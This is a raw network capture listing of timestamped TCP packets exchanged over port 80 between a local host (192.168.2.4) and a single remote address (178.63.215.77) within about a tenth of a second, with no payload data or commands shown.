Oct 12, 2024 14:17:09.191745043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191772938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191776991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191788912 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191819906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191828966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191859961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191869974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191891909 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191901922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191931009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191940069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.191982031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.191988945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192019939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192032099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192068100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192076921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192114115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192116022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192150116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192162991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192181110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192187071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192213058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192222118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192245007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192260027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192280054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192284107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192317009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192331076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192365885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192400932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192401886 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192414045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192447901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192459106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192481995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192493916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192513943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192523003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192548990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192573071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192580938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192589045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192609072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192620993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192640066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192655087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192672968 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192686081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192709923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192720890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192753077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192780018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192785025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192795992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192816973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192827940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192847967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192857981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192879915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192888021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192910910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192923069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192943096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192946911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.192975044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.192984104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193010092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193016052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193046093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193048954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193078041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193104029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193120003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193128109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193170071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193176031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193207979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193217039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193238974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193249941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193272114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193278074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193303108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193335056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193335056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193361044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193367958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193375111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193398952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193408012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193429947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193444967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193461895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193469048 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193492889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193505049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193526030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193528891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193557024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193566084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193588018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193598986 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193619013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193629026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193650007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193653107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193681955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193689108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193712950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193720102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193743944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193753004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193774939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193783045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193806887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193813086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193837881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193846941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193870068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193876982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193902016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193908930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193933010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193939924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193964005 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.193989992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.193996906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194008112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194027901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194036961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194058895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194067955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194097996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194101095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194132090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194139957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194163084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194175959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194195032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194205999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194225073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194236994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194259882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194261074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194293022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194300890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194324970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194330931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194355965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194384098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194389105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.194397926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.194428921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.278822899 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.278871059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.278897047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.278906107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.278914928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.278939009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.278945923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.278970957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.278985977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279019117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279023886 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279073000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279074907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279118061 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279124975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279156923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279166937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279187918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279196978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279221058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279242992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279253960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279262066 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279285908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279299021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279316902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279324055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279352903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279357910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279381990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279409885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279453993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279453993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279485941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279498100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279534101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279545069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279582024 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279589891 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279613972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279628038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279661894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279670000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279704094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279727936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279731035 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279750109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279772043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279781103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279812098 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279824018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279843092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279874086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279874086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279896021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279921055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.279934883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279963017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.279970884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280024052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280030012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280073881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280077934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280108929 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280121088 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280142069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280169010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280184031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280189991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280221939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280246019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280261040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280272007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280303001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280330896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280348063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280353069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280400991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280421972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280447960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280451059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280479908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280489922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280510902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280524969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280541897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280555010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280586004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280591011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280622959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280637026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280664921 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280672073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280704975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280728102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280735970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280766010 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280783892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280802011 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280833960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280858040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280874968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280883074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280915022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280926943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280947924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280957937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.280978918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.280992031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281018972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281025887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281058073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281080008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281089067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281099081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281120062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281143904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281160116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281167984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281198978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281210899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281230927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281239033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281263113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281286001 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281303883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281313896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281346083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281358004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281379938 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281388998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281430006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281440973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281461954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281470060 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281493902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281519890 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281527042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281536102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281558990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281569004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281590939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281599045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281620979 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281644106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281652927 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281657934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281683922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281697989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281714916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281727076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281748056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281757116 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281779051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281788111 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281810045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281824112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281842947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281872034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281874895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281897068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281907082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281914949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281939030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281949043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.281970978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.281982899 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282002926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.282012939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282035112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.282042980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282063007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.282077074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282094955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:09.282115936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:09.282128096 CEST	80	49730	178.63.215.77	192.168.2.4
